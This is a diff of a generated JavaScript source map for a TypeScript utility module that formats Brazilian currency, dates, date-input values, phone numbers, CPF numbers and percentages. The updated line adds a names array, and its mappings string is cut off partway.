-{"version":3,"file":"format.cjs","names":[],"sources":["../../src/utils/format.ts"],"sourcesContent":["import { fallbackText, isAbsent, type FormatFallbackOptions } from \"@/utils/absent\";\nimport { dateTimeFormat, numberFormat } from \"@/utils/intl-cache\";\n\n/**\n * Format a number as Brazilian Real currency.\n *\n * An absent or unrepresentable amount renders as `\"—\"` rather than as a number.\n * That branch is a data-correctness fix, not cosmetics: `Intl` coerces `null` to\n * zero, so an amount the backend left out used to reach the screen as\n * **`\"R$ 0,00\"`** — a plausible figure a reader has no way to question — and\n * `undefined` as `\"R$ NaN\"`.\n *\n * @example\n * ```typescript\n * formatCurrency(1234.56);                      // \"R$ 1.234,56\"\n * formatCurrency(null);                         // \"—\"\n * formatCurrency(null, { fallback: \"sem valor\" }); // \"sem valor\"\n * ```\n *\n * @param value - The amount in BRL, or `null`/`undefined` when there is none.\n * @param options - Text to render when there is nothing to format.\n * @returns A locale-formatted string, e.g. \"R$ 1.234,56\".\n */\nexport function formatCurrency(\n    value: number | null | undefined,\n    options?: FormatFallbackOptions,\n): string {\n    if (isAbsent(value) || !Number.isFinite(value)) return fallbackText(options);\n    return numberFormat(\"pt-BR\", { style: \"currency\", currency: \"BRL\" }).format(value);\n}\n\n/**\n * Format an ISO date or Date instance as `dd/MM/yyyy`.\n *\n * Absent input answers `\"—\"`. It used to **throw**: `new Date(null)` is epoch and\n * `null.getTime` is a `TypeError`, so a nullable column — which is every\n * `deleted_at`, `expires_at` and half the `updated_at` a FastAPI backend sends —\n * took the screen down instead of rendering a gap.\n *\n * A value that is present and unparseable still answers `\"\"`, deliberately: on a\n * screen that reads a log, \"nobody filled this in\" and \"what they filled in is\n * broken\" are different findings, and the second is the one worth chasing.\n *\n * @example\n * ```typescript\n * formatDate(\"2026-05-16T12:00:00Z\"); // \"16/05/2026\"\n * formatDate(null);                   // \"—\"\n * formatDate(\"banana\");               // \"\"\n * ```\n *\n * @param value - ISO string, Date, or `null`/`undefined`.\n * @param options - Text to render when the value is absent.\n * @returns Formatted date string, the fallback when absent, or empty string when\n *   the value is present and invalid.\n */\nexport function formatDate(\n    value: string | Date | null | undefined,\n    options?: FormatFallbackOptions,\n): string {\n    if (isAbsent(value)) return fallbackText(options);\n    const date = typeof value === \"string\" ? new Date(value) : value;\n    if (Number.isNaN(date.getTime())) return \"\";\n    return dateTimeFormat(\"pt-BR\").format(date);\n}\n\n/**\n * Format an ISO date or Date instance as `yyyy-MM-dd`, the value an\n * `<input type=\"date\">` accepts.\n *\n * Built from the **local** calendar parts rather than `toISOString().slice(0, 10)`,\n * which is the reflex and which is wrong: `toISOString` converts to UTC first, so\n * anything after 21:00 in UTC-3 reports the next day and the form opens on the\n * wrong date. `formatDate` cannot fill this role because a date input rejects\n * `dd/MM/yyyy` outright.\n *\n * A value that is already `yyyy-MM-dd` is returned untouched, and that shortcut\n * is load-bearing rather than an optimisation: `new Date(\"2026-05-16\")` is parsed\n * as **UTC** midnight, which in UTC-3 is the 15th at 21:00, so round-tripping the\n * exact value a backend sent would move it back a day.\n *\n * @example\n * <input type=\"date\" defaultValue={formatDateForInput(order.createdAt)} />\n *\n * Absent input answers `\"\"` here — **not** the em dash the reading formatters\n * use — because that is what an input reads as \"no value\"; an em dash would\n * arrive as content the user has to delete before typing a date.\n *\n * @param value - ISO string, Date, or `null`/`undefined`.\n * @param options - Text for an absent value; defaults to `\"\"`.\n * @returns The `yyyy-MM-dd` value, or an empty string when the input is invalid —\n *   which is what a date input reads as \"no value\", unlike `\"Invalid Date\"`.\n */\nexport function formatDateForInput(\n    value: string | Date | null | undefined,\n    options?: FormatFallbackOptions,\n): string {\n    if (isAbsent(value)) return fallbackText(options, \"\");\n    if (typeof value === \"string\" && /^\\d{4}-\\d{2}-\\d{2}$/.test(value)) return value;\n    const date = typeof value === \"string\" ? new Date(value) : value;\n    if (Number.isNaN(date.getTime())) return \"\";\n    const month = `${date.getMonth() + 1}`.padStart(2, \"0\");\n    const day = `${date.getDate()}`.padStart(2, \"0\");\n    return `${date.getFullYear()}-${month}-${day}`;\n}\n\n/**\n * Format an ISO date or Date instance as `yyyy-MM-ddTHH:mm`, the value an\n * `<input type=\"datetime-local\">` accepts.\n *\n * The sibling of {@link formatDateForInput}, and it exists for the same reason:\n * `toISOString().slice(0, 16)` is the reflex and it is wrong. `toISOString`\n * converts to UTC first, so a 22:00 appointment in UTC-3 opens the form on the\n * next day at 01:00 — here the trap costs the hour as well as the date.\n *\n * A value already in `yyyy-MM-ddTHH:mm` is returned untouched. A value carrying\n * a zone (`...Z`, `...-03:00`) deliberately does **not** take that shortcut: it\n * is a different instant from the naive string that looks like it, so it is\n * converted to the local calendar parts the input has to show.\n *\n * Seconds are dropped. A `datetime-local` steps by the minute unless the app\n * sets `step`, so a `:ss` the field cannot represent would be silently discarded\n * on the first edit anyway — truncating here keeps the rendered value and the\n * submitted value the same.\n *\n * @example\n * <input\n *     type=\"datetime-local\"\n *     defaultValue={formatDateTimeForInput(appointment.startsAt)}\n * />\n *\n * @param value - ISO string or Date.\n * @returns The `yyyy-MM-ddTHH:mm` value, or an empty string when the input is\n *   invalid — which is what a datetime input reads as \"no value\", unlike\n *   `\"Invalid Date\"`.\n */\nexport function formatDateTimeForInput(\n    value: string | Date | null | undefined,\n    options?: FormatFallbackOptions,\n): string {\n    if (isAbsent(value)) return fallbackText(options, \"\");\n    if (typeof value === \"string\" && /^\\d{4}-\\d{2}-\\d{2}T\\d{2}:\\d{2}$/.test(value)) return value;\n    const date = typeof value === \"string\" ? new Date(value) : value;\n    if (Number.isNaN(date.getTime())) return \"\";\n    const month = `${date.getMonth() + 1}`.padStart(2, \"0\");\n    const day = `${date.getDate()}`.padStart(2, \"0\");\n    const hours = `${date.getHours()}`.padStart(2, \"0\");\n    const minutes = `${date.getMinutes()}`.padStart(2, \"0\");\n    return `${date.getFullYear()}-${month}-${day}T${hours}:${minutes}`;\n}\n\n/**\n * Format an ISO date or Date instance as `dd/MM/yyyy HH:mm`.\n *\n * Same contract as {@link formatDate}: absent answers the fallback (`\"—\"` by\n * default) instead of throwing, and present-but-invalid answers `\"\"`.\n *\n * @param value - ISO string, Date, or `null`/`undefined`.\n * @param options - Text to render when the value is absent.\n * @returns Formatted datetime string, the fallback when absent, or empty string\n *   when the value is present and invalid.\n */\nexport function formatDateTime(\n    value: string | Date | null | undefined,\n    options?: FormatFallbackOptions,\n): string {\n    if (isAbsent(value)) return fallbackText(options);\n    const date = typeof value === \"string\" ? new Date(value) : value;\n    if (Number.isNaN(date.getTime())) return \"\";\n    return dateTimeFormat(\"pt-BR\", { dateStyle: \"short\", timeStyle: \"short\" }).format(date);\n}\n\nexport interface FormatPhoneOptions {\n    /**\n     * Treat the number as a mobile line: insert the mandatory `9` after the area\n     * code when it is missing, and group the subscriber part `5+4` from the\n     * first digit typed instead of waiting for the eleventh.\n     *\n     * Default `false`, which keeps the length-based behaviour: `4+4` up to ten\n     * digits, `5+4` at eleven.\n     */\n    mobile?: boolean;\n}\n\n/**\n * Apply the Brazilian phone mask `(XX) XXXXX-XXXX` or `(XX) XXXX-XXXX`.\n *\n * By default the grouping is decided by **length**, which is what a field\n * accepting both landlines and mobiles needs.\n *\n * `mobile: true` is for a field that only accepts mobile numbers, and it exists\n * because the default is wrong as an as-you-type mask there. Reading anything up\n * to ten digits as a landline puts the hyphen after the fourth subscriber digit,\n * so a half-typed mobile renders `(11) 9123-4`; it only becomes `(11) 91234-5`\n * once the eleventh digit lands. The separator visibly jumps backwards while the\n * user is still typing. With `mobile`, the same input reads `(11) 91234` and the\n * hyphen never moves. It also inserts the leading `9` every Brazilian mobile\n * carries, so a ten-digit number gets corrected rather than masked as a landline.\n *\n * @param value - Raw digits or partially masked string.\n * @param options - Masking options.\n * @returns Masked phone string.\n *\n * @example\n * formatPhone(\"1191234\");                      // \"(11) 9123-4\"\n * formatPhone(\"1191234\", { mobile: true });    // \"(11) 91234\"\n * formatPhone(\"1112345678\", { mobile: true }); // \"(11) 91234-5678\" — 9 inserted\n */\nexport function formatPhone(value: string, options: FormatPhoneOptions = {}): string {\n    const digits = value.replace(/\\D/g, \"\").slice(0, 11);\n\n    if (!options.mobile) {\n        if (digits.length <= 10) {\n            return digits.replace(/(\\d{2})(\\d)/, \"($1) $2\").replace(/(\\d{4})(\\d)/, \"$1-$2\");\n        }\n        return digits.replace(/(\\d{2})(\\d)/, \"($1) $2\").replace(/(\\d{5})(\\d)/, \"$1-$2\");\n    }\n\n    if (digits.length <= 2) return digits;\n\n    const area = digits.slice(0, 2);\n    let subscriber = digits.slice(2);\n    if (subscriber[0] !== \"9\") subscriber = `9${subscriber}`;\n    subscriber = subscriber.slice(0, 9);\n\n    const prefix = subscriber.slice(0, 5);\n    const suffix = subscriber.slice(5);\n    return suffix ? `(${area}) ${prefix}-${suffix}` : `(${area}) ${prefix}`;\n}\n\n/**\n * Apply the Brazilian CPF mask `XXX.XXX.XXX-XX`.\n *\n * @param value - Raw digits or partially masked string.\n * @returns Masked CPF string.\n */\nexport function formatCPF(value: string): string {\n    return value\n        .replace(/\\D/g, \"\")\n        .slice(0, 11)\n        .replace(/(\\d{3})(\\d)/, \"$1.$2\")\n        .replace(/(\\d{3})(\\d)/, \"$1.$2\")\n        .replace(/(\\d{3})(\\d{1,2})$/, \"$1-$2\");\n}\n\n/** How {@link formatPercent} renders a fraction. */\nexport interface FormatPercentOptions extends FormatFallbackOptions {\n    /**\n     * Decimal places to show, fixed (padded as well as truncated).\n     *\n     * Defaults to `1`, which is what the function always did. Two is the case\n     * that produced this option: a confidence of 98,74% and one of 98,7% are the\n     * same number on a summary card and two different readings on a detail\n     * screen, so the precision belongs to the call site.\n     */\n    decimals?: number;\n}\n\n/**\n * Format a fraction (0-1) as a percentage.\n *\n * A non-finite input renders as `\"—\"` rather than `\"NaN%\"` or `\"∞%\"`, which is\n * what `Intl.NumberFormat` produces and what a division by zero upstream puts on\n * the screen. It matches `formatDurationMs`, which already answers that way.\n *\n * @example\n * ```typescript\n * formatPercent(0.9874);                // \"98,7%\"\n * formatPercent(0.9874, { decimals: 2 }); // \"98,74%\"\n * formatPercent(0 / 0);                 // \"—\"\n * ```\n *\n * @param value - Fraction between 0 and 1.\n * @param options - Rendering options; `decimals` defaults to 1.\n * @returns Formatted percent string, e.g. \"12,5%\", or `\"—\"` for a non-finite input.\n */\nexport function formatPercent(\n    value: number | null | undefined,\n    options: FormatPercentOptions = {},\n): string {\n    if (isAbsent(value) || !Number.isFinite(value)) return fallbackText(options);\n    const decimals = options.decimals ?? 1;\n    return numberFormat(\"pt-BR\", {\n        style: \"percent\",\n        minimumFractionDigits: decimals,\n        maximumFractionDigits: decimals,\n    }).format(value);\n}\n"],"mappings":"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"}
+{"version":3,"file":"format.cjs","names":["isAbsent","fallbackText","numberFormat","dateTimeFormat","require_absent","require_intl_cache","formatCurrency","value","options","formatDate","date","formatDateForInput","month","day","formatDateTimeForInput","hours","minutes","formatDateTime","formatPhone","digits","area","subscriber","prefix","suffix","formatCPF","formatPercent","decimals"],"sources":["../../src/utils/format.ts"],"sourcesContent":["import { fallbackText, isAbsent, type FormatFallbackOptions } from \"@/utils/absent\";\nimport { dateTimeFormat, numberFormat } from \"@/utils/intl-cache\";\n\n/**\n * Format a number as Brazilian Real currency.\n *\n * An absent or unrepresentable amount renders as `\"—\"` rather than as a number.\n * That branch is a data-correctness fix, not cosmetics: `Intl` coerces `null` to\n * zero, so an amount the backend left out used to reach the screen as\n * **`\"R$ 0,00\"`** — a plausible figure a reader has no way to question — and\n * `undefined` as `\"R$ NaN\"`.\n *\n * @example\n * ```typescript\n * formatCurrency(1234.56);                      // \"R$ 1.234,56\"\n * formatCurrency(null);                         // \"—\"\n * formatCurrency(null, { fallback: \"sem valor\" }); // \"sem valor\"\n * ```\n *\n * @param value - The amount in BRL, or `null`/`undefined` when there is none.\n * @param options - Text to render when there is nothing to format.\n * @returns A locale-formatted string, e.g. \"R$ 1.234,56\".\n */\nexport function formatCurrency(\n    value: number | null | undefined,\n    options?: FormatFallbackOptions,\n): string {\n    if (isAbsent(value) || !Number.isFinite(value)) return fallbackText(options);\n    return numberFormat(\"pt-BR\", { style: \"currency\", currency: \"BRL\" }).format(value);\n}\n\n/**\n * Format an ISO date or Date instance as `dd/MM/yyyy`.\n *\n * Absent input answers `\"—\"`. It used to **throw**: `new Date(null)` is epoch and\n * `null.getTime` is a `TypeError`, so a nullable column — which is every\n * `deleted_at`, `expires_at` and half the `updated_at` a FastAPI backend sends —\n * took the screen down instead of rendering a gap.\n *\n * A value that is present and unparseable still answers `\"\"`, deliberately: on a\n * screen that reads a log, \"nobody filled this in\" and \"what they filled in is\n * broken\" are different findings, and the second is the one worth chasing.\n *\n * @example\n * ```typescript\n * formatDate(\"2026-05-16T12:00:00Z\"); // \"16/05/2026\"\n * formatDate(null);                   // \"—\"\n * formatDate(\"banana\");               // \"\"\n * ```\n *\n * @param value - ISO string, Date, or `null`/`undefined`.\n * @param options - Text to render when the value is absent.\n * @returns Formatted date string, the fallback when absent, or empty string when\n *   the value is present and invalid.\n */\nexport function formatDate(\n    value: string | Date | null | undefined,\n    options?: FormatFallbackOptions,\n): string {\n    if (isAbsent(value)) return fallbackText(options);\n    const date = typeof value === \"string\" ? new Date(value) : value;\n    if (Number.isNaN(date.getTime())) return \"\";\n    return dateTimeFormat(\"pt-BR\").format(date);\n}\n\n/**\n * Format an ISO date or Date instance as `yyyy-MM-dd`, the value an\n * `<input type=\"date\">` accepts.\n *\n * Built from the **local** calendar parts rather than `toISOString().slice(0, 10)`,\n * which is the reflex and which is wrong: `toISOString` converts to UTC first, so\n * anything after 21:00 in UTC-3 reports the next day and the form opens on the\n * wrong date. `formatDate` cannot fill this role because a date input rejects\n * `dd/MM/yyyy` outright.\n *\n * A value that is already `yyyy-MM-dd` is returned untouched, and that shortcut\n * is load-bearing rather than an optimisation: `new Date(\"2026-05-16\")` is parsed\n * as **UTC** midnight, which in UTC-3 is the 15th at 21:00, so round-tripping the\n * exact value a backend sent would move it back a day.\n *\n * @example\n * <input type=\"date\" defaultValue={formatDateForInput(order.createdAt)} />\n *\n * Absent input answers `\"\"` here — **not** the em dash the reading formatters\n * use — because that is what an input reads as \"no value\"; an em dash would\n * arrive as content the user has to delete before typing a date.\n *\n * @param value - ISO string, Date, or `null`/`undefined`.\n * @param options - Text for an absent value; defaults to `\"\"`.\n * @returns The `yyyy-MM-dd` value, or an empty string when the input is invalid —\n *   which is what a date input reads as \"no value\", unlike `\"Invalid Date\"`.\n */\nexport function formatDateForInput(\n    value: string | Date | null | undefined,\n    options?: FormatFallbackOptions,\n): string {\n    if (isAbsent(value)) return fallbackText(options, \"\");\n    if (typeof value === \"string\" && /^\\d{4}-\\d{2}-\\d{2}$/.test(value)) return value;\n    const date = typeof value === \"string\" ? new Date(value) : value;\n    if (Number.isNaN(date.getTime())) return \"\";\n    const month = `${date.getMonth() + 1}`.padStart(2, \"0\");\n    const day = `${date.getDate()}`.padStart(2, \"0\");\n    return `${date.getFullYear()}-${month}-${day}`;\n}\n\n/**\n * Format an ISO date or Date instance as `yyyy-MM-ddTHH:mm`, the value an\n * `<input type=\"datetime-local\">` accepts.\n *\n * The sibling of {@link formatDateForInput}, and it exists for the same reason:\n * `toISOString().slice(0, 16)` is the reflex and it is wrong. `toISOString`\n * converts to UTC first, so a 22:00 appointment in UTC-3 opens the form on the\n * next day at 01:00 — here the trap costs the hour as well as the date.\n *\n * A value already in `yyyy-MM-ddTHH:mm` is returned untouched. A value carrying\n * a zone (`...Z`, `...-03:00`) deliberately does **not** take that shortcut: it\n * is a different instant from the naive string that looks like it, so it is\n * converted to the local calendar parts the input has to show.\n *\n * Seconds are dropped. A `datetime-local` steps by the minute unless the app\n * sets `step`, so a `:ss` the field cannot represent would be silently discarded\n * on the first edit anyway — truncating here keeps the rendered value and the\n * submitted value the same.\n *\n * @example\n * <input\n *     type=\"datetime-local\"\n *     defaultValue={formatDateTimeForInput(appointment.startsAt)}\n * />\n *\n * @param value - ISO string or Date.\n * @returns The `yyyy-MM-ddTHH:mm` value, or an empty string when the input is\n *   invalid — which is what a datetime input reads as \"no value\", unlike\n *   `\"Invalid Date\"`.\n */\nexport function formatDateTimeForInput(\n    value: string | Date | null | undefined,\n    options?: FormatFallbackOptions,\n): string {\n    if (isAbsent(value)) return fallbackText(options, \"\");\n    if (typeof value === \"string\" && /^\\d{4}-\\d{2}-\\d{2}T\\d{2}:\\d{2}$/.test(value)) return value;\n    const date = typeof value === \"string\" ? new Date(value) : value;\n    if (Number.isNaN(date.getTime())) return \"\";\n    const month = `${date.getMonth() + 1}`.padStart(2, \"0\");\n    const day = `${date.getDate()}`.padStart(2, \"0\");\n    const hours = `${date.getHours()}`.padStart(2, \"0\");\n    const minutes = `${date.getMinutes()}`.padStart(2, \"0\");\n    return `${date.getFullYear()}-${month}-${day}T${hours}:${minutes}`;\n}\n\n/**\n * Format an ISO date or Date instance as `dd/MM/yyyy HH:mm`.\n *\n * Same contract as {@link formatDate}: absent answers the fallback (`\"—\"` by\n * default) instead of throwing, and present-but-invalid answers `\"\"`.\n *\n * @param value - ISO string, Date, or `null`/`undefined`.\n * @param options - Text to render when the value is absent.\n * @returns Formatted datetime string, the fallback when absent, or empty string\n *   when the value is present and invalid.\n */\nexport function formatDateTime(\n    value: string | Date | null | undefined,\n    options?: FormatFallbackOptions,\n): string {\n    if (isAbsent(value)) return fallbackText(options);\n    const date = typeof value === \"string\" ? new Date(value) : value;\n    if (Number.isNaN(date.getTime())) return \"\";\n    return dateTimeFormat(\"pt-BR\", { dateStyle: \"short\", timeStyle: \"short\" }).format(date);\n}\n\nexport interface FormatPhoneOptions {\n    /**\n     * Treat the number as a mobile line: insert the mandatory `9` after the area\n     * code when it is missing, and group the subscriber part `5+4` from the\n     * first digit typed instead of waiting for the eleventh.\n     *\n     * Default `false`, which keeps the length-based behaviour: `4+4` up to ten\n     * digits, `5+4` at eleven.\n     */\n    mobile?: boolean;\n}\n\n/**\n * Apply the Brazilian phone mask `(XX) XXXXX-XXXX` or `(XX) XXXX-XXXX`.\n *\n * By default the grouping is decided by **length**, which is what a field\n * accepting both landlines and mobiles needs.\n *\n * `mobile: true` is for a field that only accepts mobile numbers, and it exists\n * because the default is wrong as an as-you-type mask there. Reading anything up\n * to ten digits as a landline puts the hyphen after the fourth subscriber digit,\n * so a half-typed mobile renders `(11) 9123-4`; it only becomes `(11) 91234-5`\n * once the eleventh digit lands. The separator visibly jumps backwards while the\n * user is still typing. With `mobile`, the same input reads `(11) 91234` and the\n * hyphen never moves. It also inserts the leading `9` every Brazilian mobile\n * carries, so a ten-digit number gets corrected rather than masked as a landline.\n *\n * @param value - Raw digits or partially masked string.\n * @param options - Masking options.\n * @returns Masked phone string.\n *\n * @example\n * formatPhone(\"1191234\");                      // \"(11) 9123-4\"\n * formatPhone(\"1191234\", { mobile: true });    // \"(11) 91234\"\n * formatPhone(\"1112345678\", { mobile: true }); // \"(11) 91234-5678\" — 9 inserted\n */\nexport function formatPhone(value: string, options: FormatPhoneOptions = {}): string {\n    const digits = value.replace(/\\D/g, \"\").slice(0, 11);\n\n    if (!options.mobile) {\n        if (digits.length <= 10) {\n            return digits.replace(/(\\d{2})(\\d)/, \"($1) $2\").replace(/(\\d{4})(\\d)/, \"$1-$2\");\n        }\n        return digits.replace(/(\\d{2})(\\d)/, \"($1) $2\").replace(/(\\d{5})(\\d)/, \"$1-$2\");\n    }\n\n    if (digits.length <= 2) return digits;\n\n    const area = digits.slice(0, 2);\n    let subscriber = digits.slice(2);\n    if (subscriber[0] !== \"9\") subscriber = `9${subscriber}`;\n    subscriber = subscriber.slice(0, 9);\n\n    const prefix = subscriber.slice(0, 5);\n    const suffix = subscriber.slice(5);\n    return suffix ? `(${area}) ${prefix}-${suffix}` : `(${area}) ${prefix}`;\n}\n\n/**\n * Apply the Brazilian CPF mask `XXX.XXX.XXX-XX`.\n *\n * @param value - Raw digits or partially masked string.\n * @returns Masked CPF string.\n */\nexport function formatCPF(value: string): string {\n    return value\n        .replace(/\\D/g, \"\")\n        .slice(0, 11)\n        .replace(/(\\d{3})(\\d)/, \"$1.$2\")\n        .replace(/(\\d{3})(\\d)/, \"$1.$2\")\n        .replace(/(\\d{3})(\\d{1,2})$/, \"$1-$2\");\n}\n\n/** How {@link formatPercent} renders a fraction. */\nexport interface FormatPercentOptions extends FormatFallbackOptions {\n    /**\n     * Decimal places to show, fixed (padded as well as truncated).\n     *\n     * Defaults to `1`, which is what the function always did. Two is the case\n     * that produced this option: a confidence of 98,74% and one of 98,7% are the\n     * same number on a summary card and two different readings on a detail\n     * screen, so the precision belongs to the call site.\n     */\n    decimals?: number;\n}\n\n/**\n * Format a fraction (0-1) as a percentage.\n *\n * A non-finite input renders as `\"—\"` rather than `\"NaN%\"` or `\"∞%\"`, which is\n * what `Intl.NumberFormat` produces and what a division by zero upstream puts on\n * the screen. It matches `formatDurationMs`, which already answers that way.\n *\n * @example\n * ```typescript\n * formatPercent(0.9874);                // \"98,7%\"\n * formatPercent(0.9874, { decimals: 2 }); // \"98,74%\"\n * formatPercent(0 / 0);                 // \"—\"\n * ```\n *\n * @param value - Fraction between 0 and 1.\n * @param options - Rendering options; `decimals` defaults to 1.\n * @returns Formatted percent string, e.g. \"12,5%\", or `\"—\"` for a non-finite input.\n */\nexport function formatPercent(\n    value: number | null | undefined,\n    options: FormatPercentOptions = {},\n): string {\n    if (isAbsent(value) || !Number.isFinite(value)) return fallbackText(options);\n    const decimals = options.decimals ?? 1;\n    return numberFormat(\"pt-BR\", {\n        style: \"percent\",\n        minimumFractionDigits: decimals,\n        maximumFractionDigits: decimals,\n    }).format(value);\n}\n"],"mappings":"A,8DAuBA,SAAgBM,EACZ,EACA,EACM,CAEN,OADIN,EAAAA,SAASO,CAAK,GAAK,CAAC,OAAO,SAASA,CAAK,EAAUN,EAAAA,aAAaO,CAAO,EACpEN,EAAAA,aAAa,QAAS,CAAE,MAAO,WAAY,SAAU,KAAM,CAAC,CAAC,CAAC,OAAOK,CAAK,CACrF,CA0BA,SAAgBE,EACZ,EACA,EACM,CACN,GAAIT,EAAAA,SAASO,CAAK,EAAG,OAAON,EAAAA,aAAaO,CAAO,EAChD,IAAME,EAAO,OAAOH,GAAU,SAAW,IAAI,KAAKA,CAAK,EAAIA,EAE3D,OADI,OAAO,MAAMG,EAAK,QAAQ,CAAC,EAAU,GAClCP,EAAAA,eAAe,OAAO,CAAC,CAAC,OAAOO,CAAI,CAC9C,CA6BA,SAAgBC,EACZ,EACA,EACM,CACN,GAAIX,EAAAA,SAASO,CAAK,EAAG,OAAON,EAAAA,aAAaO,EAAS,EAAE,EACpD,GAAI,OAAOD,GAAU,UAAY,sBAAsB,KAAKA,CAAK,EAAG,OAAOA,EAC3E,IAAMG,EAAO,OAAOH,GAAU,SAAW,IAAI,KAAKA,CAAK,EAAIA,EAC3D,GAAI,OAAO,MAAMG,EAAK,QAAQ,CAAC,EAAG,MAAO,GACzC,IAAME,EAAQ,GAAGF,EAAK,SAAS,EAAI,IAAI,SAAS,EAAG,GAAG,EAChDG,EAAM,GAAGH,EAAK,QAAQ,IAAI,SAAS,EAAG,GAAG,EAC/C,MAAO,GAAGA,EAAK,YAAY,EAAE,GAAGE,EAAM,GAAGC,GAC7C,CAgCA,SAAgBC,EACZ,EACA,EACM,CACN,GAAId,EAAAA,SAASO,CAAK,EAAG,OAAON,EAAAA,aAAaO,EAAS,EAAE,EACpD,GAAI,OAAOD,GAAU,UAAY,kCAAkC,KAAKA,CAAK,EAAG,OAAOA,EACvF,IAAMG,EAAO,OAAOH,GAAU,SAAW,IAAI,KAAKA,CAAK,EAAIA,EAC3D,GAAI,OAAO,MAAMG,EAAK,QAAQ,CAAC,EAAG,MAAO,GACzC,IAAME,EAAQ,GAAGF,EAAK,SAAS,EAAI,IAAI,SAAS,EAAG,GAAG,EAChDG,EAAM,GAAGH,EAAK,QAAQ,IAAI,SAAS,EAAG,GAAG,EACzCK,EAAQ,GAAGL,EAAK,SAAS,IAAI,SAAS,EAAG,GAAG,EAC5CM,EAAU,GAAGN,EAAK,WAAW,IAAI,SAAS,EAAG,GAAG,EACtD,MAAO,GAAGA,EAAK,YAAY,EAAE,GAAGE,EAAM,GAAGC,EAAI,GAAGE,EAAM,GAAGC,GAC7D,CAaA,SAAgBC,EACZ,EACA,EACM,CACN,GAAIjB,EAAAA,SAASO,CAAK,EAAG,OAAON,EAAAA,aAAaO,CAAO,EAChD,IAAME,EAAO,OAAOH,GAAU,SAAW,IAAI,KAAKA,CAAK,EAAIA,EAE3D,OADI,OAAO,MAAMG,EAAK,QAAQ,CAAC,EAAU,GAClCP,EAAAA,eAAe,QAAS,CAAE,UAAW,QAAS,UAAW,OAAQ,CAAC,CAAC,CAAC,OAAOO,CAAI,CAC1F,CAsCA,SAAgBQ,EAAY,EAAe,EAA